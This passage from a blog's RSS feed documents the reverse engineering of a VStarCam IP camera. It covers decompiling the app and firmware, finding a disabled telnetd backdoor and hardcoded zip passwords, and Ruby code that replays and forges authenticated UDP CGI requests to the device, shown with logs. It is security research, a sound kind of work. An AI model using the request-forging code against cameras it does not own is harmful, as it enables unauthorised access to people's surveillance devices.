<p>However, no amount of googling lead me closer to finding out what it did, and worse, I couldn&#39;t find the method ANYWHERE in the smali. I must have searched for hours.</p>
<p>Finally when I did find it, it was just a stub method, there was no code to it at all! Then after a bit more googling I learned that methods gained from Shared Object files won&#39;t show up in a Smali decompile, since it&#39;s only decompiling the Java, not the assembly. When looking through the shared objects, I found one called libvstc2_jni.so, which seemed to be what I was looking for. I tried decompiling it on Linux but I couldn&#39;t find a good tool to do it with and ended up using onlinedisassembler which worked pretty well as I mainly just used it for it&#39;s string search, rather than wanting to pour over ARM ASM.</p>
<center>
<img src="/images/vstarcam/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Decompiling Firmware</h3>
<p>I&#39;d also like to decompile the firmware on the camera, but unfortunately, I couldn&#39;t find a good method to pull a copy off the device.  I was, however, able to get a hold of an update, (Finally I&#39;ve been waiting for months for a firmware update I could listen into.), which doesn&#39;t contain any CGI info, but does contain some other interesting stuff I&#39;ll detail later.</p>
<h3>Googling</h3>
<p>Ripping through Shared Objects, Smali, and Wireshark captures is fun and all, but sometimes you just want real human English answers. I spent a lot of time googling things during this writeup, as well as when I first sat down with the device months ago.</p>
<p>Finally after getting so far, I wanted to see if there was ANY information out there about this API, so I set out with a couple choice google searches, and an understanding of what &quot;down the rabbit hole&quot; truly means.</p>
<p>I started with googling &quot;vstarcam api&quot;, which lead me to an interesting <a href="http://www.vstarcam.com/SDK-Download.html">SDK page</a>. Once there I quickly located a CGI manual, let&#39;s open it up and take a look inside.</p>
<center>
<img src="/images/vstarcam/wireshark/10.png" style="width: 100%; height: 100%;">
</center>
<p>Oh no, the manual is in Chinese, but at least we are getting closer.</p>
<p>I tried &quot;vstarcam sdk&quot; and ended up finding an <a href="http://corz.org/windows/software/oodlecam/files/IP%20Camera%20CGI%20Manual%20[from%20Tenvis%203815%20SDK].pdf">english manual</a>. I also noticed this <a href="https://community.home-assistant.io/t/c7824wip-ptz-camera/38597">forum post</a>, which also talked about the poor security of the VStarCam firmware.</p>
<p>In this post he talks about some juicy things, one of which I discovered in an update I went through.</p>
<p>There was also <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">another post</a> about the camera, although it mentions it by a different name, unsurprisingly, the picture even is the same one I have. This guy went deep into the nitty gitty on some of the exploits, some of which I&#39;d like to try myself now that I know about them.</p>
<p>Also, after referencing the manual, I did not notice any commands I didn&#39;t find already, or see any that weren&#39;t listed.</p>
<h2>Extras</h2>
<p>After studying this thing for months, I FINALLY received a firmware update. I wasted no time sniffing the connection and learning some cool stuff.</p>
<center>
<img src="/images/vstarcam/wireshark/11.png" style="width: 100%; height: 100%;">
</center>
<p>When it started the download, it used the auto_download_file.cgi script. With it we can supply a server, and a file to download. Potentially abusable! We will definitely cover this in a later part.</p>
<center>
<img src="/images/vstarcam/wireshark/12.png" style="width: 100%; height: 100%;">
</center>
<p>I immediately grabbed a copy of the file and went to town in binwalk, extracting all files so I could take a look. One of the first files I noticed, ipcam.sh, had an interesting thing inside it. This is the file verbatim.</p>
<pre class="code-block"><code>export PATH=/system/system/bin:$PATH
#telnetd
export LD_LIBRARY_PATH=/system/system/lib:/mnt/lib:$LD_LIBRARY_PATH
mount -t tmpfs none /tmp -o size=3m

/system/system/bin/brushFlash
/system/system/bin/updata
/system/system/bin/wifidaemon &amp;
/system/system/bin/upgrade &amp;</code></pre>
<p>When I saw this I thought, &quot;Oh man, someone left telnetd on and had to turn it off in a later update.&quot;</p>
<p>After downloading previous updates from caches online, I found that this was indeed true. It is also backed up by <a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">this article</a>, specifically in the section &quot;CVE-2017-8224 - Backdoor account&quot;.</p>
<p>I thought that was super funny.</p>
<p>Another interesting find was some of the developer names were accidentally left in some binaries, by way of a home directory listing.</p>
<center>
<img src="/images/vstarcam/dengyi.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/vstarcam/laishao.png" style="width: 100%; height: 100%;">
</center>
<p>I also found another interesting tidbit, the password they use to zip is hardcoded into binaries added in some of the updates.</p>
<center>
<img src="/images/vstarcam/PASSWORD.png" style="width: 100%; height: 100%;">
</center>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Memory Leaks and De-serialization</title>
      <link>https://sol.vin/vstarcam_journey/5.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/5.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Static Analysis</category>
      <category domain="skill-slug">static_analysis</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Static Analysis</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/5.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/6.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/7.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" />
      <description><![CDATA[<p>We are really hauling through this, now it&#39;s time to see if we can replay a GET request via UDP. For this, we will want to go through our captures and grab a couple GET request data packets, including the 16 byte header in the front of the data.</p>
<p>The best way to do this in Wireshark is to find the packets using the filter</p>
<p>* frame contains GET</p>
<p>Then go to the details pane (it&#39;s the one above the hex dump and below the packet stream), right click on the Data heading, click Copy, then click As Escaped String. For this I will choose the first UDP GET request in the search.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>Once we have the string copied, we can write our simple code to replay the packet.</p>
<pre class="code-block"><code>CHECK_USERS_REPLAY = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x63\x68\x65\x63\x6b\x5f\x75\x73\x65\x72\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6e\x61\x6d\x65\x3d\x31\x32\x33\x34\x35\x36\x37&quot; \
&quot;\x38\x39\x26\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d\x69&quot; \
&quot;\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x70\x61\x73\x73\x77&quot; \
&quot;\x6f\x72\x64\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70&quot; \
&quot;\x77\x64\x3d\x70\x61\x73\x73\x77\x6f\x72\x64\x26&quot;
def send_replay
  data_sock.send(CHECK_USERS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<pre class="code-block"><code>require &quot;./client&quot;
client = Client.new
client.run

until client.state == :main_phase
  sleep 0.1
end

client.send_replay
sleep 5
client.close</code></pre>
<p>After our GET request was sent, we should have gotten two new packets to inspect, some sort of acknowledgment and the results of the command.</p>
<center>
<img src="/images/vstarcam/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<pre class="code-block"><code>GET_STATUS_REPLAY = &quot;\xf1\xd0\x00\x54\xd1\x00\x00\x02\x01\x0a\x00\x00\x48\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x67\x65\x74\x5f\x73\x74\x61\x74\x75\x73\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d&quot; \
&quot;\x69\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x38\x38\x38\x38&quot; \
&quot;\x38\x38\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70\x77&quot; \
&quot;\x64\x3d\x38\x38\x38\x38\x38\x38&quot;

def send_replay
  data_sock.send(GET_STATUS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<p>This time when we send the replay let&#39;s see what happens.</p>
<center>
<img src="/images/vstarcam/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>This time we get something a little different. We got the &quot;acknowledgement&quot; packet but we didn&#39;t get any results. Upon closer inspect we can see the two acknowledgement packets are just slightly different, the last byte on our success being 0x00 and the last byte on our failure was 0x02. We now know that the order of the packets is important. This could signify that the mysterious header has some values in it that track order of packets.</p>
<p>Let&#39;s learn more.</p>
<p>The next thing we are going to want to try is to modify a request, and see if we can get it to teach us something new about the protocol.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST1 = &quot;GET /check_user.cgi?name=44444&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST2 = &quot;GET /check_user.cgi?name=1234567890&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST3 = &quot;GET /check_user.cgi?name=987654321&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST
CHECK_USERS_MODIFIED_REPLAY1 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST1
CHECK_USERS_MODIFIED_REPLAY2 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST2
CHECK_USERS_MODIFIED_REPLAY3 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST3</code></pre>
<p>In the constant CHECK_USERS_MODIFIED_REQUEST1 I changed the name parameter to make it shorter, and in CHECK_USERS_MODIFIED_REQUEST2 I made the name a bit longer, and in CHECK_USERS_MODIFIED_REQUEST3 I reversed the name, but kept the amount of chars the same.</p>
<p>Sending 1 or 2 does nothing and the server doesn&#39;t even reply back. Sending request 3 however, works just fine, and produces the correct output.</p>
<p>What we just learned from this is that the header has values specifically related to size not content.</p>
<p>If we try to replay the same packet twice in a session, we see another weird behavior.</p>
<pre class="code-block"><code>I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd0\x00\x48\xd1\x00\x00\x00\x01\x0a\xa0\x60\x3c\x00\x00\x01\x72\x65\x73\x75\x6c\x74\x3d\x20\x30\x3b\x0d\x0a\x76\x61\x72\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x75\x73\x65\x72\x73\x3d\x31\x3b\x0d\x0a\x76\x61\x72\x20\x6d\x61\x78\x5f\x73\x75\x70\x70\x6f\x72\x74\x5f\x75\x73\x65\x72\x73\x3d\x34\x3b\x0d\x0a
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:31 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:32 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : UNKNOWN PACKET RECEIVED from 192.168.11.140:10560 : f1\xd1\x00\x06\xd1\x00\x00\x01\x00\x00
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong
I, [2019-03-05 08:37:34 -08:00 #18513]  INFO -- : Sent Pong</code></pre>
<p>The first replay works fine, but the second one doesn&#39;t produce results, but does produce the failure acknowledgement. Maybe the acknowledgment packet signifies that the is formatted correctly, but won&#39;t give the results if the values aren&#39;t 100% correct. My guess would be that the bytes that control size are fine, but the bytes that control order are not.</p>
<p>Let&#39;s move on to deciphering these two mysteries.</p>
<h2>Figuring out the header</h2>
<p>The first big mystery we want to solve is the header, how it&#39;s made, and what we can do with it. To do this,we will open up Android Studio with the Eye4 app and do a full capture, from logging into the device, to changing all the settings in the client.</p>
<p>Here are some examples, I pulled them all in order from when the were received. I also do a little number analysis on it and print out the result.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00&quot;
CHECK_USERS_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST_HEADER + CHECK_USERS_REQUEST

CONGLOMERATE_HEADER = &quot;\xf1\xd0\x01\xb9\xd1\x00\x00\x01&quot;
CONGLOMERATE_REQUEST1_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST1 = &quot;GET /snapshot.cgi?res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CONGLOMERATE_REQUEST2_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST2 = &quot;GET /get_status.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST3_HEADER = &quot;\x01\x0a\x00\x00\x53\x00\x00\x00&quot;
CONGLOMERATE_REQUEST3 = &quot;GET /get_factory_param.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST4_HEADER = &quot;\x01\x0a\x00\x00\x4c\x00\x00\x00&quot;
CONGLOMERATE_REQUEST4 = &quot;GET /get_params.cgi?loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REQUEST5_HEADER = &quot;\x01\x0a\x00\x00\x51\x00\x00\x00&quot;
CONGLOMERATE_REQUEST5 = &quot;GET /snapshot.cgi?&amp;res=1&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
CONGLOMERATE_REPLAY = CONGLOMERATE_HEADER + CONGLOMERATE_REQUEST1_HEADER + CONGLOMERATE_REQUEST1 + CONGLOMERATE_REQUEST2_HEADER + CONGLOMERATE_REQUEST2 +
                      CONGLOMERATE_REQUEST3_HEADER + CONGLOMERATE_REQUEST3 + CONGLOMERATE_REQUEST4_HEADER + CONGLOMERATE_REQUEST4 + CONGLOMERATE_REQUEST5_HEADER + CONGLOMERATE_REQUEST5

SET_FACTORY_HEADER = &quot;\xf1\xd0\x00\x7e\xd1\x00\x00\x02&quot;
SET_FACTORY_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x72\x00\x00\x00&quot;
SET_FACTORY_REQUEST = &quot;GET /set_factory_param.cgi?alarm_server=push.eye4.cn/VSTC&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&quot;
SET_FACTORY_REPLAY = SET_FACTORY_HEADER + SET_FACTORY_REQUEST_HEADER + SET_FACTORY_REQUEST

SET_DATETIME_HEADER = &quot;\xf1\xd0\x00\x99\xd1\x00\x00\x03&quot;
SET_DATETIME_REQUEST_HEADER = &quot;\x01\x0a\x00\x00\x8d\x00\x00\x00&quot;
SET_DATETIME_REQUEST = &quot;GET /set_datetime.cgi?tz=28800&amp;ntp_enable=1&amp;ntp_svr=time.windows.com&amp;now=1551842107&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
SET_DATETIME_REPLAY = SET_DATETIME_HEADER + SET_DATETIME_REQUEST_HEADER + SET_DATETIME_REQUEST

puts &quot;CHECK_USERS_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{CHECK_USERS_REQUEST.size} | H:0x#{CHECK_USERS_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CHECK_USERS_REPLAY.size} | H:0x#{CHECK_USERS_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;CONGLOMERATE_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST1 LENGTH = D:#{CONGLOMERATE_REQUEST1.size} | H:0x#{CONGLOMERATE_REQUEST1.size.to_s(16)}&quot;
puts &quot;    REQUEST2 LENGTH = D:#{CONGLOMERATE_REQUEST2.size} | H:0x#{CONGLOMERATE_REQUEST2.size.to_s(16)}&quot;
puts &quot;    REQUEST3 LENGTH = D:#{CONGLOMERATE_REQUEST3.size} | H:0x#{CONGLOMERATE_REQUEST3.size.to_s(16)}&quot;
puts &quot;    REQUEST4 LENGTH = D:#{CONGLOMERATE_REQUEST4.size} | H:0x#{CONGLOMERATE_REQUEST4.size.to_s(16)}&quot;
puts &quot;    REQUEST5 LENGTH = D:#{CONGLOMERATE_REQUEST5.size} | H:0x#{CONGLOMERATE_REQUEST5.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{CONGLOMERATE_REPLAY.size} | H:0x#{CONGLOMERATE_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_FACTORY_REPLAY BREAKDOWN&quot;
puts &quot;    REQUEST LENGTH = D:#{SET_FACTORY_REQUEST.size} | H:0x#{SET_FACTORY_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_FACTORY_REPLAY.size} | H:0x#{SET_FACTORY_REPLAY.size.to_s(16)}&quot;
puts
puts &quot;SET_DATETIME_REPLAY BREAKDOWN &quot;
puts &quot;    REQUEST LENGTH = D:#{SET_DATETIME_REQUEST.size} | H:0x#{SET_DATETIME_REQUEST.size.to_s(16)}&quot;
puts &quot;    PACKET LENGTH = D:#{SET_DATETIME_REPLAY.size} | H:0x#{SET_DATETIME_REPLAY.size.to_s(16)}&quot;</code></pre>
<pre class="code-block"><code>CHECK_USERS_REPLAY BREAKDOWN
    REQUEST LENGTH = D:92 | H:0x5c
    PACKET LENGTH = D:108 | H:0x6c

CONGLOMERATE_REPLAY BREAKDOWN
    REQUEST1 LENGTH = D:81 | H:0x51
    REQUEST2 LENGTH = D:76 | H:0x4c
    REQUEST3 LENGTH = D:83 | H:0x53
    REQUEST4 LENGTH = D:76 | H:0x4c
    REQUEST5 LENGTH = D:81 | H:0x51
    PACKET LENGTH = D:445 | H:0x1bd

SET_FACTORY_REPLAY BREAKDOWN
    REQUEST LENGTH = D:114 | H:0x72
    PACKET LENGTH = D:130 | H:0x82

SET_DATETIME_REPLAY BREAKDOWN
    REQUEST LENGTH = D:141 | H:0x8d
    PACKET LENGTH = D:157 | H:0x9d
[Done] exited with code=0 in 0.663 seconds</code></pre>
<p>When writing this test, I noticed that the 8 byte segments were very similar to the other 8 byte segments, so I wanted to break them up, because I was sure it was significant.</p>
<p>We want to take a look at the hex numbers and start comparing them to numbers in the header. We see, for example, that CHECK_USER_REQUEST length is 0x5c, which we can also see in the CHECK_USER_REQUEST_HEADER in byte[4].  We can see this in every request header.</p>
<p>Another interesting thing we can notice is that the CHECK_USERS_HEADER has a byte, very close to 0x5c, in fact, only 0x4 off. If we go through the other packets (except for the conglomerate one), we see this is the case every time.</p>
<p>Taking a look at the conglomerate packet confirms our suspicion that the 8 bytes right before the GET request is tied to the request itself. We can also see that the top 8 byte header contains 0x1b9 which is 0x4 off the total length 0x1bd. We can also see the request headers match up with the total bytes in each separate request. We also can see the top header&#39;s byte length is a 2 byte big endian integer, so we will need to plan for that.</p>
<p>Each of those packets were taken sequentially, in order, from the capture. We can see the last most byte in each of the headers denotes what packet order it&#39;s on. We will need to keep track of the number of requests we send.</p>
<p>Ultimately, this all means that we can forge requests, all we need is the GET request length, and the number of GET requests the client has sent.</p>
<pre class="code-block"><code>USER = &quot;admin&quot;
PASS = &quot;password&quot;
LOGIN_PARAMS = &quot;&amp;loginuse=#{USER}&amp;loginpas=#{PASS}&amp;user=#{USER}&amp;pwd=#{PASS}&quot;
@requests_sent = 0

def make_udp_header(get_request)
  &quot;\xf1\xd0#{String.new(Bytes[get_request.size + 0xc]).rjust(2, &quot;\x00&quot;[0])}\xd1\x00#{String.new(Bytes[@requests_sent]).rjust(2, &quot;\x00&quot;[0])}&quot;
end

def make_get_request_header(get_request)
  &quot;\x01\x0a\x00#{String.new(Bytes[get_request.size]).rjust(2, &quot;\x00&quot;[0])}\x00\x00\x00&quot;
end

def send_udp_get_request(cgi : String, **params)
  param_string = params.keys.map{|param_name|&quot;#{param_name}=#{params[param_name]}&quot;}.join(&#39;&amp;&#39;)
  get_request = &quot;GET /#{cgi}.cgi?#{param_string}#{LOGIN_PARAMS}&quot;
  header = make_udp_header(get_request)
  request_header = make_get_request_header(get_request)
  data_sock.send(header + request_header + get_request, target)
  @requests_sent += 1
  LOG.info &quot;SENT #{get_request}&quot;
end</code></pre>
<h2>Forging Requests</h2>
<p>Forging our own packets now seems pretty plausible, let&#39;s give it a try.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
# Wait until main phase
until client.state == :main_phase
  sleep 0.1
end

client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
client.send_udp_get_request(&quot;check_user&quot;, name: &quot;123456789&quot;)
sleep 3
sleep 5
client.close</code></pre>
<p>This code will not only test if we can forge the first packet, but also the subsequent ones. Checking the Wireshark with a special filter shows the success * <code>frame contains GET || frame contains F1:D1:00  || frame contains F1:D0:00</code></p>
<center>
<img src="/images/vstarcam/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
]]></description>
      <content:encoded><![CDATA[<p>We are really hauling through this, now it&#39;s time to see if we can replay a GET request via UDP. For this, we will want to go through our captures and grab a couple GET request data packets, including the 16 byte header in the front of the data.</p>
<p>The best way to do this in Wireshark is to find the packets using the filter</p>
<p>* frame contains GET</p>
<p>Then go to the details pane (it&#39;s the one above the hex dump and below the packet stream), right click on the Data heading, click Copy, then click As Escaped String. For this I will choose the first UDP GET request in the search.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>Once we have the string copied, we can write our simple code to replay the packet.</p>
<pre class="code-block"><code>CHECK_USERS_REPLAY = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x63\x68\x65\x63\x6b\x5f\x75\x73\x65\x72\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6e\x61\x6d\x65\x3d\x31\x32\x33\x34\x35\x36\x37&quot; \
&quot;\x38\x39\x26\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d\x69&quot; \
&quot;\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x70\x61\x73\x73\x77&quot; \
&quot;\x6f\x72\x64\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70&quot; \
&quot;\x77\x64\x3d\x70\x61\x73\x73\x77\x6f\x72\x64\x26&quot;
def send_replay
  data_sock.send(CHECK_USERS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<pre class="code-block"><code>require &quot;./client&quot;
client = Client.new
client.run

until client.state == :main_phase
  sleep 0.1
end

client.send_replay
sleep 5
client.close</code></pre>
<p>After our GET request was sent, we should have gotten two new packets to inspect, some sort of acknowledgment and the results of the command.</p>
<center>
<img src="/images/vstarcam/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<pre class="code-block"><code>GET_STATUS_REPLAY = &quot;\xf1\xd0\x00\x54\xd1\x00\x00\x02\x01\x0a\x00\x00\x48\x00\x00\x00&quot; \
&quot;\x47\x45\x54\x20\x2f\x67\x65\x74\x5f\x73\x74\x61\x74\x75\x73\x2e&quot; \
&quot;\x63\x67\x69\x3f\x6c\x6f\x67\x69\x6e\x75\x73\x65\x3d\x61\x64\x6d&quot; \
&quot;\x69\x6e\x26\x6c\x6f\x67\x69\x6e\x70\x61\x73\x3d\x38\x38\x38\x38&quot; \
&quot;\x38\x38\x26\x75\x73\x65\x72\x3d\x61\x64\x6d\x69\x6e\x26\x70\x77&quot; \
&quot;\x64\x3d\x38\x38\x38\x38\x38\x38&quot;

def send_replay
  data_sock.send(GET_STATUS_REPLAY, target)
  LOG.info &quot;Sent replay packet&quot;
end</code></pre>
<p>This time when we send the replay let&#39;s see what happens.</p>
<center>
<img src="/images/vstarcam/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>This time we get something a little different. We got the &quot;acknowledgement&quot; packet but we didn&#39;t get any results. Upon closer inspect we can see the two acknowledgement packets are just slightly different, the last byte on our success being 0x00 and the last byte on our failure was 0x02. We now know that the order of the packets is important. This could signify that the mysterious header has some values in it that track order of packets.</p>
<p>Let&#39;s learn more.</p>
<p>The next thing we are going to want to try is to modify a request, and see if we can get it to teach us something new about the protocol.</p>
<pre class="code-block"><code>CHECK_USERS_HEADER = &quot;\xf1\xd0\x00\x68\xd1\x00\x00\x00\x01\x0a\x00\x00\x5c\x00\x00\x00&quot;
CHECK_USERS_REQUEST = &quot;GET /check_user.cgi?name=123456789&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST1 = &quot;GET /check_user.cgi?name=44444&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST2 = &quot;GET /check_user.cgi?name=1234567890&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_MODIFIED_REQUEST3 = &quot;GET /check_user.cgi?name=987654321&amp;loginuse=admin&amp;loginpas=password&amp;user=admin&amp;pwd=password&amp;&quot;
CHECK_USERS_REPLAY =  CHECK_USERS_HEADER + CHECK_USERS_REQUEST
CHECK_USERS_MODIFIED_REPLAY1 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST1
CHECK_USERS_MODIFIED_REPLAY2 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST2
CHECK_USERS_MODIFIED_REPLAY3 = CHECK_USERS_HEADER + CHECK_USERS_MODIFIED_REQUEST3</code></pre>
<p>In the constant CHECK_USERS_MODIFIED_REQUEST1 I changed the name parameter to make it shorter, and in CHECK_USERS_MODIFIED_REQUEST2 I made the name a bit longer, and in CHECK_USERS_MODIFIED_REQUEST3 I reversed the name, but kept the amount of chars the same.</p>
<p>Sending 1 or 2 does nothing and the server doesn&#39;t even reply back. Sending request 3 however, works just fine, and produces the correct output.</p>
<p>What we just learned from this is that the header has values specifically related to size not content.</p>
<p>If we try to replay the same packet twice in a session, we see another weird behavior.</p>
<pre class="code-block"><code>I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent replay packet
I, [2019-03-05 08:37:30 -08:00 #18513]  INFO -- : Sent Pong
